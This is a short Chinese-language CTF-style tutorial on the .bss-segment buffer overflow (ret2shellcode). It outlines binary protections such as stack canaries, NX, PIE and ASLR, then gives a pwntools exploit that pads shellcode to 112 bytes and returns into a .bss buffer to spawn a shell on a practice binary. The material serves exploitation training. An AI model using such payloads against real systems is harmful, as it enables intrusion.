.bss漏洞
何为bss段
先来了解一下保护机制:
- Arch:显示文件的位数
- Stack:是否开启栈段保护,这个会在stack中开启一段canary空间,在结束栈帧时会检查是否被覆盖若覆盖则会强行结束程序,碰到时我们需要绕过
- NX:开启时会关闭除了代码段(text)之外的所有空间的可执行权限
- PIE:随机化ELF镜像地址(text,data,bss)
- RWX:是否存在权限为7的函数数据段
- ASLR:表示机器里是否开了core虚拟空间的随机分配,包括栈。
总结一下.bss段是一段存放静态地址,全局变量的内存空间,当没有后门函数时,我们可以尝试利用.bss漏洞来进行攻击,一般PIE没开启时我们可以尝试攻击。
利用背景
比如这一段代码,它把s的值copy到buf2的位置,同时buf2的位置刚好位于.bss段。
攻击过程
看一下覆盖空间(垃圾数据大小),不知为啥最近一直IDAPRO的空间大小显示不对,但还是要以gdb的为准,gdb是一个动态申请内存调试的工具,这个更加准确,接下来根据内存覆盖就可以了。
expolit
from pwn import *
io = process("./ret2shellcode")
buf2 = 0x0804A080
payload = asm(shellcraft.sh()).ljust(112,b'A') + p32(buf2)
io.sendline(payload)
io.interactive()